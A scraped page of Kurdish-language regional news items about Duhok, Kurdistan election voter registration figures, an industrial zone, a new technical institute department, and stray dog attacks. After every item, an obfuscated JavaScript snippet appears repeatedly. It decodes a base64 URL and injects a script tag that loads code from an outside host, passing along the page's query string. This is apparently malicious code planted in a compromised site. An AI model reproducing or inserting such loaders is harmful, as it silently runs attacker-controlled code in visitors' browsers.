د. عەلی تەتەر، پارێزگارێ دهۆكێ ل كۆچكا مێهڤانداریان ل رۆژا 8/7/2024 پێشوازی ل ئەندرۆ بیزلی، قونسلێ گشتی یێ وەلاتێ بریتانیا ل هەرێما كوردستانێ و شاندێ د گەل دا كر و هەردو لایان پەیوەندیێن دو قولی و رەوشا دەڤەرێ‌ و گەشەپێدانا پارێزگەها دهۆكێ‌ گەنگەشەكرن.
پارێزگارێ دهۆكێ و قونسلێ گشتی یێ وەلاتێ بریتانیا ل هەرێما كوردستانێ د هەڤدیتنەكێ دا بەحسێ پەیوەندیێن دێرین د ناڤبەرا هەرێما كوردستانێ و بریتانیا دا و رەوشا پاریزگەهێ ژ روویێ ئەمنی و خزمەتگوزاری و گەشەپێدانا پارێزگەها دهۆكێ د بیاڤێ ئاڤەدانكرن و گەشتوگوزار و چاندنێ ب گشتی كر.
قونسلێ گشتی یێ‌ وەلاتێ‌ بریتانیا ل هەرێما كوردستانێ‌ خوشحالیا خوە ب وان گوهۆڕینێن د بیاڤێ ئاڤەدانكرن و گەشپێدانێ دا پەیدابووین دیاركر و دەست خوشی ل كارگێریا پارێزگەهێ و پارێزگاری كر هەمبەر بزاڤێن بەردەوام یێن گەشەپێدانا دەڤەرێ و گەهاندنا خزمەتگوزاریان بۆ خەلكێ پارێزگەهێ.
پارێزگارێ دهۆكێ ژ لایێ خوەڤە خوشحالیا خوە ب سەرەدانێ و ب هەبوونا پەیوەندیێن خورت د ناڤبەرا هەما كوردستانێ و بریتانیا دا دیاركر و تەكەز كر كو كابینا نەهێ یا حوكمەتا هەرێما كوردستانێ سەرەرایی هەبوونا چەندین قەیرانان، لێ شیایە گەلەك پڕۆژەیان د بیاڤێ ئاڤەدانكرن و چاندنێ و گەشتوگوزارێ و بیاڤێن دی دا بگەهینیتە خەلكێ پارێزگەهێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

كومسیۆنا بلندا سەربخوە یا هەلبژارتنێن ئیراقێ ڕاگەهاند، د گەڕا شەشێ یا هەلبژارتنێن پەرلەمانێ كوردستانێ دا سێ ملیۆن و 789 هزار كەسان مافێ‌ دەنگدانێ هەیە، هەتا نوكە دو ملیۆن و 901 هزار كەسان كارتا بایۆمەتری دەرئێخستیە، كو دبیتە رێژا 76% یا دەنگدەران.
كومسیۆنا بلندا سەربخوە یا هەلبژارتنێن ئیراقێ ئاشكرا ژی كریە كو ل پارێزگەها هەولێرێ ئێك میۆن و ٣٦٦ هزار دەنگدەرێن گشتی مافێ‌ دەنگدانێ هەیە و ژ ڤێ هەژمارێ ژی ئێك ملیۆن و ١٦ هزار و ٣٥٧ كەسان كارتا بایۆمەتری دەرئێخستیە.
ل پارێزگەها سلێمانیێ و هەلەبجە، ئێك ملیۆن و ٤٩٦ هزار دەنگدەرێن گشتی مافێ‌ دەنگدانێ هەیە و ژ ڤێ هەژمارێ ژی ئێك ملیۆن و ١٤٦ هزار كەسان كارتا بایۆمەتری دەرئێخستیە.
ل پاریزگەها دهۆكێ‌ ژی، ٩٢٦ هزار و ١٩٣ كەسان مافێ‌ دەنگدانا گشتی هەیە و هەتا نوكە ٧٣٨ هزار كەسان كارتا بایۆمەتری دەرئێخستیە.
وەكو دیار، سەرۆكاتیا هەرێما كوردستانێ‌ رۆژا ١٠ـی ئۆكتۆبەرا ئەڤ سالە بۆ ئەنجام دانا هەلبژارتنا گەڕا شەشێ یا پەرلەمانێ كوردستانێ دیاركریە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

رێڤەبەرێ‌ وەبەرهێنانێ‌ ل پارێزگەها دهۆكێ‌ دیار كر، دەڤەرا پیشەسازیا خوارنێ‌ ل پارێزگەها دهۆكێ‌ تەمامبوویە، كو ل سەر رووبەرێ‌ هزار دۆنەمێن ئەردی هاتیە دانان، 300 كارگەه و 200 عمبارێن ساركەر دێ‌ لێ‌ هێنە دانان و دبێژیت: بڕیارە دەڤەرەكا دی یا پیشەسازی یا تایبەت ب بەرهەمێن ناڤخوەیی ژی بهێتە دروستكرن و 300 هەتا 400 كارگەهان دێ‌ لێ‌ هێنە دانان.
دكتۆر هەڤال سەدیق، رێڤەبەرێ‌ وەبەرهێنانێ‌ ل پارێزگەها دهۆكێ‌ ئاشكرا كر، ئەو دەڤەرا پیشەسازی یا خوارنێ‌ ل پارێزگەها دهۆكێ‌ تەمامبوویە و ئەو چاڤەرێی وەبەرهێنەران دكەن بهێن داخوازیێن خوە پێشكێش بكەن و مۆهلەتێ‌ وەربگرن.
دكتۆر هەڤال بۆ مالپەرێ‌ فەرمی یێ‌ پارتی دیموكراتی كوردستان گۆت: «دەڤەرەكا دی یا پیشەسازی ل سنوورێ‌ هەرسێ‌ دەڤەرداریێن ئاكرێ‌ و بەردەڕەش و شێخان دێ‌ هێتە دروستكرن و دێ‌ یا تایبەت بیت ب بەرهەمێن ناڤخوەیی ڤە، نوكە پڕۆژە ل جڤاتا وەزیرانە و چاڤەرێ‌ دهێتە كرن رازیبوون ل سەر تەرخانكرنا ئەردی بهێتە كرن و دەست ب دروستكرنا وی پڕۆژەی بهت كرن، پتری 300 هەتا 400 كارگەهان دێ‌ لێ‌ هێنە دانان».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ئامێدیێ‌، مەحمود نهێلی:

ل دووڤ بڕیارا وەزارەتا خواندنا بلند و ڤەكۆلینێن زانستی و زانكۆیا پۆلیتەكنیك یا دهۆكێ‌، بڕیار هاتیەدان، بۆ سالا نوو یا خواندنێ 2024 و 2025 پشكا (تەكنیكێن پڕۆژەیێن چاندنێ) ل پەیمانگەها تەكنیكی یا ئامێدیێ بهێتە ڤەكرن و قوتابی دێ لێ هێنە وەرگرتن.
راگەهاندنا پەیمانگەها تەكنیكی زێدەباری پیرۆزباهیان ئاگەهداریا هەمو چوو و قوتابیێن پۆلا دوازدێ ئامادەیی دكەت، كو بۆ سالا نوو یا خواندنێ 2024 و 2025 ب رێكا سیستەمێ زانكۆلاین ل ڤێ پشكا نوو یا ب ناڤێ (تەكنیكێن پڕۆژەیێن چاندنێ) ل پەیمانگەها ناڤهاتی دێ هێنە وەرگرتن.
راگەهاندنا پەیمانگەها تەكنیكی ئاشكرا كریە كو بناڤێ راگریا پەیمانگەهێ ڤەكرنا ڤێ پشكا نوو ل هەمی قوتابی و خەلكێ دەڤەرێ پیرۆز دكەین و هیڤیدارین ببیتە جهێ مفا وەرگرتنا زانست و زانینێ و پێشڤەبرنا دەڤەرێ د وارێ تەكنیكێن پڕۆژەیێن چاندنێ دا، ژ بەر كو دەڤەرا ئامێدیێ دەڤەرەكا چاندنێ یە، قوتابی و خەلكێ ڤێ دەڤەرێ دێ شێن مفای ژ ڤێ پشكێ وەرگرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ئامێدیێ‌، مەحمود نهێلی:

د دەمێ‌ چەند رۆژێن دەربازبوویی دا سەیێن بەردای هێرشی هەشت وەلاتیان ل سنوورێ ناوچەداریا دێرەلۆكێ‌ كرینە و بریندار كرینە، كو دو ژ وانا ب سەرۆچاڤان بریندار بووینە.
مەسعود بۆتی، هاریكارێ رێڤەبەرێ ساخلەمیا دەڤەرداریا ئامێدیێ بۆ رۆژناما ئەڤرۆ دیار كر، بەری دو رۆژان سێ وەلاتی، كو ئاكنجیێن سەنتەرێ ناوچەداریا درەلۆكێ‌ بووینە، ژ ئەگەرێ‌ هرشا سەیێن بەردای بۆ سەر و لەقدانا وان بریندار ببوون بۆ نەخۆشخانا ئامێدیێ هاتنە هنارتن و گۆت: «رەوشا وان یا باش بوویە و برینێن وان د سڤك بوون و پشتی چارەسەریێن دەسپێكی بۆ مالێن وان هاتنە هنارتن».
ناڤهاتی دیار ژی كر، بەری نوكە ژی د چەند روودانێن جودا دا پێنج وەلاتیێن دی یێن سنوورێ ناوچەداریا دێرەلۆكێ‌ تووشی هێرشا سەیێن بەردای ببوون و د ئەنجامێ دا بریندار ببوون و دو ژ وانا ب سەرۆچاڤان بریندار ببوون و پێدڤی ب نشتەرگەریێن جوانكاریێ بوون.
وەلاتیەكێ ئاكنجیێ‌ دێرەلۆكێ بناڤێ دلگەش بۆ رۆژناما ئەڤرۆ دیار كر، كورێ وی بەری دو رۆژان ل بەردەرەهێ نی بوو و سەیەكێ بەردای هێرشی وی كر و گۆت: «جیرانەكێ مە بزاڤ كرن ژێڤەكەت، ئەو ژی ب گرانی بریندار كریە و گۆت: «ئەم داخوازێ‌ ژ جهێن پەیوەندیدار دكەین، چارەسەریەكێ‌ بۆ ڤان سەیێن بەردای ببینن و ژناڤ كۆمەلگەهێ بهێنە دەرئێخستن، بەری كارەساتەكا مەزنتر ب سەرێ‌ وەلاتیان دا بینن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();